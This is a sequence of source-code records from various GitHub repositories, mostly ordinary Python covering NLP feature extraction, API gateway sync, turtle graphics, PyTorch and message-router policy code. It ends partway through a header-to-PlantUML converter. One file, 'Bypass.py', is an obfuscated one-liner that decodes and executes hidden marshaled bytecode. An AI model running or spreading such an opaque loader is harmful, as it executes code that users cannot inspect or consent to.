true

f7f35d64aba4f90528e3c4ee206ba7e0158dd50b

4,683

py

Python

code/featureExtraction/featureExtractor.py

farahu/socialunrestpredictor

92ecd523c55f9afcf9a6e69ea4a2cb2857887327

[ "MIT" ]

1

2020-12-04T13:03:15.000Z

code/featureExtraction/featureExtractor.py

farahu/socialunrestpredictor

92ecd523c55f9afcf9a6e69ea4a2cb2857887327

[ "MIT" ]

null

code/featureExtraction/featureExtractor.py

farahu/socialunrestpredictor

92ecd523c55f9afcf9a6e69ea4a2cb2857887327

[ "MIT" ]

null

import collections import operator import os import sys sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction") from bagOfWords import BagOfWords from bagOfClusters import BagOfClusters sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction/stopWord") from stopWordRemoval import removePunctuation from stopWordRemoval import StopWordRemover class FeatureExtractor: class ModelType: BagOfWords = 1 BagOfClusters = 2 def __init__(self, modelType = 1): self.modelType = modelType def bagTweets(self, setOfTweetsWordCount): """" takes in a word count dictionary {word, wordCount} for a set of tweets and outputs a frequency vector """ # we generate one frequency vector for reach set freqVector = [] # loop through our bag of words model for ithWord in self.bog.bog: freqVector.append(setOfTweetsWordCount[ithWord]) return freqVector def getWordCountDict(self, setOfTweets): """ takes a set of tweets and returns a dictionary of word -> wordCount""" wordCount = collections.defaultdict(int) for tweet in setOfTweets: for word in tweet: wordCount[word] += 1 return wordCount def removePuncStopTokenize(self, setsOfSets, stopWordRemover): """ removes punctuation, removes stop words and tokenizes tweets into word arrays""" newSets = [] # loop through each set for curSet in setsOfSets: stoppedSet = [] for i, tweet in enumerate(curSet): # remove punctuation updatedTweet = removePunctuation(tweet) stoppedSet.append(stopWordRemover.removeStopWords(updatedTweet)) newSets.append(stoppedSet) return newSets def extractTrainFeatureVectors(self, allTrainData): """ takes in 2 sets of tweets. One for train 0 and for train 1 and turns each set in both of these pool into a feature vector""" setsOfSets0, setsOfSets1 = allTrainData stopWordRemover = StopWordRemover() # prune our sets of sets of tweets and tokenize setsOfSets0 = self.removePuncStopTokenize(setsOfSets0, stopWordRemover) setsOfSets1 = self.removePuncStopTokenize(setsOfSets1, stopWordRemover) # generate bag of words from the label 1 train pool # allow for choosing which model we're using X0, X1 = [], [] if self.modelType == self.ModelType.BagOfWords: # bag of words model self.bog = BagOfWords() self.bog.generateBag(setsOfSets0, setsOfSets1) self.bog.saveBoG() # now we want to generate a feature vector for each set. Right now the last # step to generate these feature vecotrs is just bagging for setOfTweets in setsOfSets0: # convert each set of tweets to a wordCount dictionary setWordCountDict = self.getWordCountDict(setOfTweets) # bag the set of tweets through its wordCount dictionary X0.append(self.bagTweets(setWordCountDict)) # do the same for X1 for setOfTweets in setsOfSets1: # convert each set of tweets to a wordCount dictionary setWordCountDict = self.getWordCountDict(setOfTweets) # bag the set of tweets through its wordCount dictionary X1.append(self.bagTweets(setWordCountDict)) elif self.modelType == self.ModelType.BagOfClusters: # bag of cluster generation from training self.boc = BagOfClusters() self.boc.generateBag(setsOfSets0, setsOfSets1) X0, X1 = self.boc.bagTweets(setsOfSets0, setsOfSets1) return X0, X1 def extractTestFeatureVectors(self, allTestData): stopWordRemover = StopWordRemover() # prune our sets of sets of tweets and tokenize allTestData = self.removePuncStopTokenize(allTestData, stopWordRemover) # now we want to generate a feature vector for each set. Right now the last # step to generate these feature vecotrs is just bagging testFeatureVectors = [] for setOfTweets in allTestData: # convert each set of tweets to a wordCount dictionary setWordCountDict = self.getWordCountDict(setOfTweets) # bag the set of tweets through its wordCount dictionary testFeatureVectors.append(self.bagTweets(setWordCountDict)) return testFeatureVectors

34.688889

99

0.658339

import collections import operator import os import sys sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction") from bagOfWords import BagOfWords from bagOfClusters import BagOfClusters sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction/stopWord") from stopWordRemoval import removePunctuation from stopWordRemoval import StopWordRemover class FeatureExtractor: class ModelType: BagOfWords = 1 BagOfClusters = 2 def __init__(self, modelType = 1): self.modelType = modelType def bagTweets(self, setOfTweetsWordCount): freqVector = [] for ithWord in self.bog.bog: freqVector.append(setOfTweetsWordCount[ithWord]) return freqVector def getWordCountDict(self, setOfTweets): wordCount = collections.defaultdict(int) for tweet in setOfTweets: for word in tweet: wordCount[word] += 1 return wordCount def removePuncStopTokenize(self, setsOfSets, stopWordRemover): newSets = [] for curSet in setsOfSets: stoppedSet = [] for i, tweet in enumerate(curSet): updatedTweet = removePunctuation(tweet) stoppedSet.append(stopWordRemover.removeStopWords(updatedTweet)) newSets.append(stoppedSet) return newSets def extractTrainFeatureVectors(self, allTrainData): setsOfSets0, setsOfSets1 = allTrainData stopWordRemover = StopWordRemover() setsOfSets0 = self.removePuncStopTokenize(setsOfSets0, stopWordRemover) setsOfSets1 = self.removePuncStopTokenize(setsOfSets1, stopWordRemover) X0, X1 = [], [] if self.modelType == self.ModelType.BagOfWords: # bag of words model self.bog = BagOfWords() self.bog.generateBag(setsOfSets0, setsOfSets1) self.bog.saveBoG() # now we want to generate a feature vector for each set. Right now the last # step to generate these feature vecotrs is just bagging for setOfTweets in setsOfSets0: # convert each set of tweets to a wordCount dictionary setWordCountDict = self.getWordCountDict(setOfTweets) # bag the set of tweets through its wordCount dictionary X0.append(self.bagTweets(setWordCountDict)) # do the same for X1 for setOfTweets in setsOfSets1: # convert each set of tweets to a wordCount dictionary setWordCountDict = self.getWordCountDict(setOfTweets) # bag the set of tweets through its wordCount dictionary X1.append(self.bagTweets(setWordCountDict)) elif self.modelType == self.ModelType.BagOfClusters: # bag of cluster generation from training self.boc = BagOfClusters() self.boc.generateBag(setsOfSets0, setsOfSets1) X0, X1 = self.boc.bagTweets(setsOfSets0, setsOfSets1) return X0, X1 def extractTestFeatureVectors(self, allTestData): stopWordRemover = StopWordRemover() # prune our sets of sets of tweets and tokenize allTestData = self.removePuncStopTokenize(allTestData, stopWordRemover) # now we want to generate a feature vector for each set. Right now the last # step to generate these feature vecotrs is just bagging testFeatureVectors = [] for setOfTweets in allTestData: # convert each set of tweets to a wordCount dictionary setWordCountDict = self.getWordCountDict(setOfTweets) # bag the set of tweets through its wordCount dictionary testFeatureVectors.append(self.bagTweets(setWordCountDict)) return testFeatureVectors

true

f7f35d878eaecf1ab18239c633cd9b6065419b33

7,399

py

Python

kong_admin/sync/base.py

peterayeni/django-kong-admin

05ef35ac75e2f823a2af90e146fe90bf8e21221d

[ "BSD-3-Clause" ]

2

2019-05-01T05:54:23.000Z

2019-06-16T14:04:33.000Z

kong_admin/sync/base.py

peterayeni/django-kong-admin

05ef35ac75e2f823a2af90e146fe90bf8e21221d

[ "BSD-3-Clause" ]

null

kong_admin/sync/base.py

peterayeni/django-kong-admin

05ef35ac75e2f823a2af90e146fe90bf8e21221d

[ "BSD-3-Clause" ]

2

2019-06-16T14:04:41.000Z

2021-04-06T08:36:30.000Z

# -*- coding: utf-8 -*- from __future__ import unicode_literals, print_function import logging from django.db import transaction from django.utils import timezone from six import with_metaclass from abc import ABCMeta, abstractmethod logger = logging.getLogger(__name__) class KongProxySyncEngine(with_metaclass(ABCMeta, object)): @abstractmethod def get_proxy_class(self): """ :return: Returns the actual class of the KongProxyModel were working with """ @abstractmethod def on_retrieve_all(self, client): """ Called to retrieve all objects from kong :param client: :type client: kong.contract.KongAdminContract :return: collections.Iterable """ @abstractmethod def is_published(self, client, kong_id, parent_kong_id=None): """ Caleld to check whether an object is known at kong :param client: :param kong_id: :param parent_kong_id: :return: """ @abstractmethod def on_publish(self, client, obj): """ Called to publish a KongProxyModel to Kong :param client: :type client: kong.contract.KongAdminContract :param obj: :type obj: kong_admin.models.KongProxyModel :rtype: uuid.UUID :return: The uuid of the newly published object """ @abstractmethod def on_withdraw_by_id(self, client, kong_id, parent_kong_id=None): """ Called to withdraw an object from Kong by its 'Kong ID' :param client: :type client: kong.contract.KongAdminContract :param kong_id: :type kong_id: uuid.UUID :param parent_kong_id: Optional reference to a parent object :type parent_kong_id: uuid.UUID """ def on_withdraw(self, client, obj): """ Called to withdraw a KongProxyModel from Kong :param client: :type client: kong.contract.KongAdminContract :param obj: :type obj: kong_admin.models.KongProxyModel """ parent_object = self.get_parent_object(obj) if obj.kong_id is None: return obj return self.on_withdraw_by_id( client, str(obj.kong_id), str(parent_object.kong_id) if parent_object is not None else None) def before_publish(self, client, obj): parent_object = self.get_parent_object(obj) if obj.kong_id is None: return if not self.is_published(client, obj.kong_id, parent_object.kong_id if parent_object is not None else None): obj.kong_id = None self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id) def after_publish(self, client, obj): obj.synchronized_at = timezone.now() obj.synchronized = True # Doing this instead of saving will prevent the save signal from being send out!!! self.get_proxy_class().objects.filter(id=obj.id).update( synchronized=obj.synchronized, synchronized_at=obj.synchronized_at) def before_withdraw(self, client, obj): pass def after_withdraw(self, client, obj): obj.synchronized_at = None obj.synchronized = False # Doing this instead of saving will prevent the save signal from being send out!!! self.get_proxy_class().objects.filter(id=obj.id).update( synchronized=obj.synchronized, synchronized_at=obj.synchronized_at) def get_parent_object(self, obj): """ Returns a parent object for a given object :param obj: :return: """ def get_parent_key(self): """ Returns the key that references the parent object :return: """ def publish(self, client, obj): """ Publish a KongProxyModel to Kong :param client: :type client: kong.contract.KongAdminContract :param obj: :type obj: kong_admin.models.KongProxyModel :rtype: kong_admin.models.KongProxyModel :return: The KongProxyModel that has been published to Kong """ with transaction.atomic(): self.before_publish(client, obj) kong_id = self.on_publish(client, obj) # Always update the kong_id obj.kong_id = kong_id self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id) with transaction.atomic(): self.after_publish(client, obj) return obj def withdraw(self, client, obj): """ Withdraw a KongProxy model from Kong :param client: :type client: kong.contract.KongAdminContract :param obj: :type obj: kong_admin.models.KongProxyModel :rtype: kong_admin.models.KongProxyModel :return: The KongProxyModel that has been withdrawn from Kong """ with transaction.atomic(): self.before_withdraw(client, obj) self.on_withdraw(client, obj) # Always update the kong_id obj.kong_id = None self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id) with transaction.atomic(): self.after_withdraw(client, obj) return obj def withdraw_by_id(self, client, kong_id, parent_kong_id=None): """ Withdraw an object from Kong by its 'Kong ID' :param client: :type client: kong.contract.KongAdminContract :param kong_id: The id of the object, as it is known by Kong :type kong_id: uuid.UUID :rtype: kong_admin.models.KongProxyModel :return: The kong_id of the object that has been withdrawn from Kong """ try: obj = self.get_proxy_class().objects.get(kong_id=kong_id) except self.get_proxy_class().DoesNotExist: obj = None if obj is not None: return self.withdraw(client, obj) # We don't have a reference to that API anymore. Just try to remove it remotely self.on_withdraw_by_id(client, kong_id, parent_kong_id) return obj def synchronize(self, client, queryset=None, delete=False): """ :param client: The client to use :type client: kong.contract.KongAdminContract :param queryset: A queryset containing KongProxyModel objects :type queryset: django.db.models.QuerySet. :param delete: Whether or not to delete the object in the Kong service, if there is no model. :type delete: bool :return: """ # Make sure we have a queryset queryset = queryset or self.get_proxy_class().objects.all() # Delete remote api's that do not exist in this database if delete: for kong_struct in self.on_retrieve_all(client): kong_id = kong_struct.get('id', None) assert kong_id is not None parent_kong_id = kong_struct.get(self.get_parent_key(), None) if not queryset.filter(kong_id=kong_id).exists(): logger.debug('synchronize: delete %s by id: %s' % (self.get_proxy_class(), kong_id)) self.withdraw_by_id(client, kong_id, parent_kong_id=parent_kong_id) # Add remote apis that only exist in this database for obj in queryset: self.publish(client, obj) return queryset

31.892241

116

0.633464

from __future__ import unicode_literals, print_function import logging from django.db import transaction from django.utils import timezone from six import with_metaclass from abc import ABCMeta, abstractmethod logger = logging.getLogger(__name__) class KongProxySyncEngine(with_metaclass(ABCMeta, object)): @abstractmethod def get_proxy_class(self): @abstractmethod def on_retrieve_all(self, client): @abstractmethod def is_published(self, client, kong_id, parent_kong_id=None): @abstractmethod def on_publish(self, client, obj): @abstractmethod def on_withdraw_by_id(self, client, kong_id, parent_kong_id=None): def on_withdraw(self, client, obj): parent_object = self.get_parent_object(obj) if obj.kong_id is None: return obj return self.on_withdraw_by_id( client, str(obj.kong_id), str(parent_object.kong_id) if parent_object is not None else None) def before_publish(self, client, obj): parent_object = self.get_parent_object(obj) if obj.kong_id is None: return if not self.is_published(client, obj.kong_id, parent_object.kong_id if parent_object is not None else None): obj.kong_id = None self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id) def after_publish(self, client, obj): obj.synchronized_at = timezone.now() obj.synchronized = True self.get_proxy_class().objects.filter(id=obj.id).update( synchronized=obj.synchronized, synchronized_at=obj.synchronized_at) def before_withdraw(self, client, obj): pass def after_withdraw(self, client, obj): obj.synchronized_at = None obj.synchronized = False self.get_proxy_class().objects.filter(id=obj.id).update( synchronized=obj.synchronized, synchronized_at=obj.synchronized_at) def get_parent_object(self, obj): def get_parent_key(self): def publish(self, client, obj): with transaction.atomic(): self.before_publish(client, obj) kong_id = self.on_publish(client, obj) obj.kong_id = kong_id self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id) with transaction.atomic(): self.after_publish(client, obj) return obj def withdraw(self, client, obj): with transaction.atomic(): self.before_withdraw(client, obj) self.on_withdraw(client, obj) obj.kong_id = None self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id) with transaction.atomic(): self.after_withdraw(client, obj) return obj def withdraw_by_id(self, client, kong_id, parent_kong_id=None): try: obj = self.get_proxy_class().objects.get(kong_id=kong_id) except self.get_proxy_class().DoesNotExist: obj = None if obj is not None: return self.withdraw(client, obj) self.on_withdraw_by_id(client, kong_id, parent_kong_id) return obj def synchronize(self, client, queryset=None, delete=False): # Make sure we have a queryset queryset = queryset or self.get_proxy_class().objects.all() # Delete remote api's that do not exist in this database if delete: for kong_struct in self.on_retrieve_all(client): kong_id = kong_struct.get('id', None) assert kong_id is not None parent_kong_id = kong_struct.get(self.get_parent_key(), None) if not queryset.filter(kong_id=kong_id).exists(): logger.debug('synchronize: delete %s by id: %s' % (self.get_proxy_class(), kong_id)) self.withdraw_by_id(client, kong_id, parent_kong_id=parent_kong_id) for obj in queryset: self.publish(client, obj) return queryset

true

f7f35dcd13b81948219e7f0811b190049438acfc

1,416

py

Python

MEETinTurtle.py

ofirn21-meet/meet2019y1lab1

11f4e23d5968e2b6104b7cac82fc9903aa5e7c97

[ "MIT" ]

null

MEETinTurtle.py

ofirn21-meet/meet2019y1lab1

11f4e23d5968e2b6104b7cac82fc9903aa5e7c97

[ "MIT" ]

null

MEETinTurtle.py

ofirn21-meet/meet2019y1lab1

11f4e23d5968e2b6104b7cac82fc9903aa5e7c97

[ "MIT" ]

null

import turtle # Everything that comes after the # is a # comment. # It is a note to the person reading the code. # The computer ignores it. # Write your code below here... turtle.penup() turtle.goto(-200,-100) turtle.pendown() turtle.goto(-200,-100+200) turtle.goto(-200+50,-100) turtle.goto(-200+100,-100+200) turtle.goto(-200+100,-100) turtle.penup()#begining of let "e" turtle.goto(-200+150,-100) turtle.pendown() turtle.goto(-200+150,-100+200) turtle.goto(-200+250,-100+200) turtle.penup() turtle.goto(-200+150,-100+100) turtle.pendown() turtle.goto(-200+250,-100+100) turtle.penup() turtle.goto(-200+150,-100) turtle.pendown() turtle.goto(-200+250,-100) #end of let "e" turtle.penup() turtle.goto(-200+300,-100) turtle.pendown() turtle.goto(-200+300,-100+200) turtle.goto(-200+400,-100+200) turtle.penup() turtle.goto(-200+300,-100+100) turtle.pendown() turtle.goto(-200+400,-100+100) turtle.penup() turtle.goto(-200+300,-100) turtle.pendown() turtle.goto(-200+400,-100) #end of let "e" turtle.penup() turtle.goto(-200+450,-100+200) turtle.pendown() turtle.goto(-200+550,-100+200) turtle.penup() turtle.goto(-200+500,-100+200) turtle.right(90) turtle.pendown() turtle.goto(-200+500,-100) # ...and end it before the next line. turtle.mainloop() # turtle.mainloop() tells the turtle to do all # the turtle commands above it and paint it on the screen. # It always has to be the last line of code!

21.784615

58

0.710452

import turtle rtle.penup() turtle.goto(-200,-100) turtle.pendown() turtle.goto(-200,-100+200) turtle.goto(-200+50,-100) turtle.goto(-200+100,-100+200) turtle.goto(-200+100,-100) turtle.penup() turtle.goto(-200+150,-100) turtle.pendown() turtle.goto(-200+150,-100+200) turtle.goto(-200+250,-100+200) turtle.penup() turtle.goto(-200+150,-100+100) turtle.pendown() turtle.goto(-200+250,-100+100) turtle.penup() turtle.goto(-200+150,-100) turtle.pendown() turtle.goto(-200+250,-100) turtle.penup() turtle.goto(-200+300,-100) turtle.pendown() turtle.goto(-200+300,-100+200) turtle.goto(-200+400,-100+200) turtle.penup() turtle.goto(-200+300,-100+100) turtle.pendown() turtle.goto(-200+400,-100+100) turtle.penup() turtle.goto(-200+300,-100) turtle.pendown() turtle.goto(-200+400,-100) turtle.penup() turtle.goto(-200+450,-100+200) turtle.pendown() turtle.goto(-200+550,-100+200) turtle.penup() turtle.goto(-200+500,-100+200) turtle.right(90) turtle.pendown() turtle.goto(-200+500,-100) turtle.mainloop()

true

f7f35de8b8f1ef344a3ef716ea1eaa8bc7c6200b

698

py

Python

Bypass.py

Hello-World-MRX/Bypass

769f04c16b01c83cecfeaf5033ff06716fd17364

[ "Apache-2.0" ]

1

2022-03-02T17:36:39.000Z

Bypass.py

Hello-World-MRX/Bypass

769f04c16b01c83cecfeaf5033ff06716fd17364

[ "Apache-2.0" ]

null

Bypass.py

Hello-World-MRX/Bypass

769f04c16b01c83cecfeaf5033ff06716fd17364

[ "Apache-2.0" ]

null

_=(lambda x:x);code=type(_.__code__);_.__code__=code(0,0,0,0,10,64,b'z\x16e\x00e\x01d\x00\x83\x01\xa0\x02e\x01d\x01\x83\x01\xa0\x03e\x01d\x02\x83\x01\xa0\x04d\x03\xa1\x01\xa1\x01\xa1\x01\x83\x01\x01\x00W\x00d\x04S\x00\x04\x00e\x05y/\x01\x00Z\x06\x01\x00z\re\x07e\x08e\x06\x83\x01\x83\x01\x01\x00W\x00Y\x00d\x04Z\x06[\x06d\x04S\x00d\x04Z\x06[\x06w\x01w\x00',('marshal', 'zlib', 'base64', b'eJx7zIAGmIDYAYg/iwOJFIYUxhyGXMYoRkaGVMZmBkaGFKZgBs6VzC9BSjUZb7GWpCZnFPppMt1iCa5MTSliAQqvZChiA1Jg4peYfnFKcmJRin5KfnleTn5iin5Wol5B5S0Om9z8lNKcVDtGoKpikKU8jACrcB02', None),('exec', '__import__', 'loads', 'decompress', 'b64decode', 'Exception', 'e', 'print', 'str'),(),'lambda.py','<module>',1,b'.\x01',(),());_()

698

0.750716

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true

f7f35e5b43bb19e1455db9e819edc785dcf5cc01

739

py

Python

pytorch_feature_decoupling/architectures/MultipleLinearClassifiers.py

anantalp/FeatureDecoupling

b57040dc1511b34995e92bde11c8856b940cc4e3

[ "MIT" ]

94

2019-06-21T10:49:32.000Z

2022-03-28T10:15:43.000Z

pytorch_feature_decoupling/architectures/MultipleLinearClassifiers.py

anantalp/FeatureDecoupling

b57040dc1511b34995e92bde11c8856b940cc4e3

[ "MIT" ]

7

2019-09-06T22:43:20.000Z

2020-11-09T23:42:48.000Z

pytorch_feature_decoupling/architectures/MultipleLinearClassifiers.py

anantalp/FeatureDecoupling

b57040dc1511b34995e92bde11c8856b940cc4e3

[ "MIT" ]

12

2019-08-21T15:55:25.000Z

2020-12-21T14:58:18.000Z

import os import imp import torch import torch.nn as nn current_path = os.path.abspath(__file__) filepath_to_linear_classifier_definition = os.path.join(os.path.dirname(current_path), 'LinearClassifier.py') LinearClassifier = imp.load_source('',filepath_to_linear_classifier_definition).create_model class MClassifier(nn.Module): def __init__(self, opts): super(MClassifier, self).__init__() self.classifiers = nn.ModuleList([LinearClassifier(opt) for opt in opts]) self.num_classifiers = len(opts) def forward(self, feats): assert(len(feats) == self.num_classifiers) return [self.classifiers[i](feat) for i, feat in enumerate(feats)] def create_model(opt): return MClassifier(opt)

32.130435

109

0.741543

import os import imp import torch import torch.nn as nn current_path = os.path.abspath(__file__) filepath_to_linear_classifier_definition = os.path.join(os.path.dirname(current_path), 'LinearClassifier.py') LinearClassifier = imp.load_source('',filepath_to_linear_classifier_definition).create_model class MClassifier(nn.Module): def __init__(self, opts): super(MClassifier, self).__init__() self.classifiers = nn.ModuleList([LinearClassifier(opt) for opt in opts]) self.num_classifiers = len(opts) def forward(self, feats): assert(len(feats) == self.num_classifiers) return [self.classifiers[i](feat) for i, feat in enumerate(feats)] def create_model(opt): return MClassifier(opt)

true

f7f35fb457bf6f429f46590e981458745ad73d4e

5,904

py

Python

python/qpid_dispatch_internal/policy/policy_manager.py

bhardesty/qpid-dispatch

ee82acda5656ca0b5bb6ef86b9869f9ecfac1559

[ "Apache-2.0" ]

null

python/qpid_dispatch_internal/policy/policy_manager.py

bhardesty/qpid-dispatch

ee82acda5656ca0b5bb6ef86b9869f9ecfac1559

[ "Apache-2.0" ]

null

python/qpid_dispatch_internal/policy/policy_manager.py

bhardesty/qpid-dispatch

ee82acda5656ca0b5bb6ef86b9869f9ecfac1559

[ "Apache-2.0" ]

null

# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License # """ """ from __future__ import unicode_literals from __future__ import division from __future__ import absolute_import from __future__ import print_function import json import traceback from .policy_local import PolicyLocal from ..dispatch import LogAdapter, LOG_INFO, LOG_TRACE, LOG_DEBUG, LOG_ERROR, LOG_WARNING """ Entity implementing the glue between the policy engine and the rest of the system. """ class PolicyManager(object): """ """ def __init__(self, agent): """ """ self._agent = agent self._policy_local = PolicyLocal(self) self.log_adapter = LogAdapter("POLICY") self._use_hostname_patterns = False def log(self, level, text): info = traceback.extract_stack(limit=2)[0] # Caller frame info self.log_adapter.log(level, text, info[0], info[1]) def _log(self, level, text): info = traceback.extract_stack(limit=3)[0] # Caller's caller frame info self.log_adapter.log(level, text, info[0], info[1]) def log_debug(self, text): self._log(LOG_DEBUG, text) def log_info(self, text): self._log(LOG_INFO, text) def log_trace(self, text): self._log(LOG_TRACE, text) def log_error(self, text): self._log(LOG_ERROR, text) def log_warning(self, text): self._log(LOG_WARNING, text) def get_agent(self): return self._agent def get_use_hostname_patterns(self): return self._use_hostname_patterns def set_use_hostname_patterns(self, v): self._use_hostname_patterns = v self._policy_local.use_hostname_patterns = v # # Management interface to create a ruleset # def create_ruleset(self, attributes): """ Create named policy ruleset @param[in] attributes: from config """ self._policy_local.create_ruleset(attributes) # # Management interface to delete a ruleset # def delete_ruleset(self, id): """ Delete named policy ruleset @param[in] id: ruleset name """ self._policy_local.policy_delete(id) # # Management interface to update a ruleset # def update_ruleset(self, attributes): """ Update named policy ruleset @param[in] id: ruleset name """ self._policy_local.create_ruleset(attributes) # # Management interface to set the default vhost # def set_default_vhost(self, name): """ Set default application @param name: @return: """ self._policy_local.set_default_vhost(name) # # Runtime query interface # def lookup_user(self, user, rhost, vhost, conn_name, conn_id): """ Lookup function called from C. Determine if a user on host accessing app through AMQP Open is allowed according to the policy access rules. If allowed then return the policy settings name @param[in] user connection authId @param[in] rhost connection remote host numeric IP address as string @param[in] vhost application user is accessing @param[in] conn_name connection name for accounting purposes @param[in] conn_id internal connection id @return settings user-group name if allowed; "" if not allowed """ return self._policy_local.lookup_user(user, rhost, vhost, conn_name, conn_id) def lookup_settings(self, vhost, name, upolicy): """ Given a settings name, return the aggregated policy blob. @param[in] vhost: vhost user is accessing @param[in] name: user group name @param[out] upolicy: map that receives the settings @return settings were retrieved or not """ return self._policy_local.lookup_settings(vhost, name, upolicy) def close_connection(self, conn_id): """ The connection identifed is closing. Remove it from the connection accounting tables. @param facts: @return: none """ self._policy_local.close_connection(conn_id) def set_max_message_size(self, size): """ Policy has set global maxMessageSize. :param size: :return: none """ self._policy_local.set_max_message_size(size) # # # def policy_lookup_user(mgr, user, rhost, vhost, conn_name, conn_id): """ Look up a user in the policy database Called by C code @param mgr: @param user: @param rhost: @param vhost: @param conn_name: @return: """ return mgr.lookup_user(user, rhost, vhost, conn_name, conn_id) # # # def policy_close_connection(mgr, conn_id): """ Close the connection. Called by C code @param mgr: @param conn_id: @return: """ mgr.close_connection(conn_id) # # # def policy_lookup_settings(mgr, vhost, name, upolicy): """ Return settings for <vhost, usergroup> in upolicy map @param mgr: @param vhost: @param name: @param upolicy: @return: """ return mgr.lookup_settings(vhost, name, upolicy)

27.588785

89

0.657859

from __future__ import unicode_literals from __future__ import division from __future__ import absolute_import from __future__ import print_function import json import traceback from .policy_local import PolicyLocal from ..dispatch import LogAdapter, LOG_INFO, LOG_TRACE, LOG_DEBUG, LOG_ERROR, LOG_WARNING class PolicyManager(object): def __init__(self, agent): self._agent = agent self._policy_local = PolicyLocal(self) self.log_adapter = LogAdapter("POLICY") self._use_hostname_patterns = False def log(self, level, text): info = traceback.extract_stack(limit=2)[0] self.log_adapter.log(level, text, info[0], info[1]) def _log(self, level, text): info = traceback.extract_stack(limit=3)[0] self.log_adapter.log(level, text, info[0], info[1]) def log_debug(self, text): self._log(LOG_DEBUG, text) def log_info(self, text): self._log(LOG_INFO, text) def log_trace(self, text): self._log(LOG_TRACE, text) def log_error(self, text): self._log(LOG_ERROR, text) def log_warning(self, text): self._log(LOG_WARNING, text) def get_agent(self): return self._agent def get_use_hostname_patterns(self): return self._use_hostname_patterns def set_use_hostname_patterns(self, v): self._use_hostname_patterns = v self._policy_local.use_hostname_patterns = v # # Management interface to create a ruleset # def create_ruleset(self, attributes): self._policy_local.create_ruleset(attributes) # # Management interface to delete a ruleset # def delete_ruleset(self, id): self._policy_local.policy_delete(id) # # Management interface to update a ruleset # def update_ruleset(self, attributes): self._policy_local.create_ruleset(attributes) # # Management interface to set the default vhost # def set_default_vhost(self, name): self._policy_local.set_default_vhost(name) # # Runtime query interface # def lookup_user(self, user, rhost, vhost, conn_name, conn_id): return self._policy_local.lookup_user(user, rhost, vhost, conn_name, conn_id) def lookup_settings(self, vhost, name, upolicy): return self._policy_local.lookup_settings(vhost, name, upolicy) def close_connection(self, conn_id): self._policy_local.close_connection(conn_id) def set_max_message_size(self, size): self._policy_local.set_max_message_size(size) # # # def policy_lookup_user(mgr, user, rhost, vhost, conn_name, conn_id): return mgr.lookup_user(user, rhost, vhost, conn_name, conn_id) # # # def policy_close_connection(mgr, conn_id): mgr.close_connection(conn_id) # # # def policy_lookup_settings(mgr, vhost, name, upolicy): return mgr.lookup_settings(vhost, name, upolicy)

true

f7f36028de8c3ba3f4dd640e683e32423590316e

47,800

py

Python

src/hpp2plantuml/hpp2plantuml.py

reto271/hpp2plantuml

235b234d5f3ad897c7611b32f8cb70825cef7d49

[ "MIT" ]

null

src/hpp2plantuml/hpp2plantuml.py

reto271/hpp2plantuml

235b234d5f3ad897c7611b32f8cb70825cef7d49

[ "MIT" ]

null

src/hpp2plantuml/hpp2plantuml.py

reto271/hpp2plantuml

235b234d5f3ad897c7611b32f8cb70825cef7d49

[ "MIT" ]

null

# %% Imports import os import re import glob import argparse import CppHeaderParser import jinja2 # %% Constants # Association between member property and PlantUML symbol MEMBER_PROP_MAP = { 'private': '-', 'public': '+', 'protected': '#' } # Links LINK_TYPE_MAP = { 'inherit': '<|--', 'aggregation': 'o--', 'composition': '*--', 'dependency': '<..' } # Association between object names and objects # - The first element is the object type name in the CppHeader object # - The second element is the iterator used to loop over objects # - The third element is a function returning the corresponding internal object CONTAINER_TYPE_MAP = [ ['classes', lambda objs: objs.items(), lambda obj: Class(obj)], ['structs', lambda objs: objs.items(), lambda obj: Struct(obj)], ['enums', lambda objs: objs, lambda obj: Enum(obj)] ] # %% Base classes class Container(object): """Base class for C++ objects This class defines the basic interface for parsed objects (e.g. class). """ def __init__(self, container_type, name): """Class constructor Parameters ---------- container_type : str String representation of container type (``class``, ``struct`` or ``enum``) name : str Object name """ self._container_type = container_type self._name = name self._member_list = [] self._namespace = None def get_name(self): """Name property accessor Returns ------- str Object name """ return self._name def parse_members(self, header_container): """Initialize object from header Extract object from CppHeaderParser dictionary representing a class, a struct or an enum object. This extracts the namespace. Parameters ---------- header_container : CppClass, CppStruct or CppEnum Parsed header for container """ namespace = header_container.get('namespace', None) if namespace: self._namespace = re.sub(':+$', '', namespace) self._do_parse_members(header_container) def _do_parse_members(self, header_container): """Initialize object from header (abstract method) Extract object from CppHeaderParser dictionary representing a class, a struct or an enum object. Parameters ---------- header_container : CppClass, CppStruct or CppEnum Parsed header for container """ raise NotImplementedError( 'Derived class must implement :func:`_do_parse_members`.') def render(self): """Render object to string Returns ------- str String representation of object following the PlantUML syntax """ container_str = self._render_container_def() + ' {\n' for member in self._member_list: container_str += '\t' + member.render() + '\n' container_str += '}\n' if self._namespace is not None: return wrap_namespace(container_str, self._namespace) return container_str def comparison_keys(self): """Order comparison key between `ClassRelationship` objects Use the parent name, the child name then the link type as successive keys. Returns ------- list `operator.attrgetter` objects for successive fields used as keys """ return self._container_type, self._name def sort_members(self): """Sort container members sort the list of members by type and name """ self._member_list.sort(key=lambda obj: obj.comparison_keys()) def _render_container_def(self): """String representation of object definition Return the definition line of an object (e.g. "class MyClass"). Returns ------- str Container type and name as string """ return self._container_type + ' ' + self._name # %% Object member class ContainerMember(object): """Base class for members of `Container` object This class defines the basic interface for object members (e.g. class variables, etc.) """ def __init__(self, header_member, **kwargs): 